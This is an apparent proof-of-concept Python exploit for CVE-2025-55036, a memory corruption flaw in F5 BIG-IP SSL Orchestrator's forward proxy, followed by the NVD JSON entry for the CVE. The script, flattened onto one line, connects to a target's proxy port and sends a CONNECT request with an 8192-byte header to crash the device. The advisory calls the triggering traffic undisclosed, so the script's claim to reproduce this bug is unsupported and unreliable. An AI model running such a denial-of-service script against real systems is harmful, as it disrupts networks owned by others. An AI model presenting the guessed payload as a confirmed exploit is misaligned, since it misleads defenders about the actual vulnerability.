CVE-2025-55036

# CVE-2025-55036 PoC - F5 BIG-IP SSL Orchestrator Memory Corruption via Explicit Forward Proxy # Vulnerability: Memory corruption when proxy connect feature is enabled # CVSS: 7.5 (HIGH) import socket import ssl import struct import sys TARGET_HOST = "<target_bigip_host>" TARGET_PORT = 3128 # Default explicit proxy port PROXY_CONNECT_HOST = "example.com" PROXY_CONNECT_PORT = 443 def craft_malformed_connect_request(host, port): """ Craft a malformed HTTP CONNECT request that triggers memory corruption in F5 BIG-IP SSL Orchestrator when proxy connect feature is enabled. """ # Construct CONNECT request with oversized or malformed headers # to trigger buffer overflow / memory corruption in proxy handling payload = f"CONNECT {host}:{port} HTTP/1.1\r\n" payload += f"Host: {host}:{port}\r\n" # Add abnormally long header value to trigger memory corruption payload += f"X-Forwarded-For: {'A' * 8192}\r\n" payload += "\r\n" return payload.encode() def exploit(target_host, target_port): """ Send malicious proxy traffic to trigger memory corruption in F5 BIG-IP SSL Orchestrator explicit forward proxy. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print(f"[*] Connected to {target_host}:{target_port}") # Send malformed CONNECT request malicious_payload = craft_malformed_connect_request( PROXY_CONNECT_HOST, PROXY_CONNECT_PORT ) sock.send(malicious_payload) print(f"[*] Sent malformed CONNECT request ({len(malicious_payload)} bytes)") # Receive response (or lack thereof indicating crash) try: response = sock.recv(4096) print(f"[*] Response: {response[:100]}") except socket.timeout: print("[!] Connection timed out - possible DoS / crash triggered") sock.close() except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST port = int(sys.argv[2]) if len(sys.argv) > 2 else TARGET_PORT exploit(host, port)

{"cve": {"id": "CVE-2025-55036", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:51.293", "lastModified": "2025-10-21T20:08:11.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When BIG-IP SSL Orchestrator explicit forward proxy is configured on a virtual server and the proxy connect feature is enabled, undisclosed traffic may cause memory corruption.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_ssl_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "40B87228-F144-41C7-ACD8-1168CC5C57F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_ssl_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.1.0", "versionEndExcluding": "16.1.6", "matchCriteriaId": "ECD0333F-74B6-4438-BE6B-7B35304F8065"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_ssl_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "581B1484-C457-4C11-B43A-DCF49EBC07DA"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000151368", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}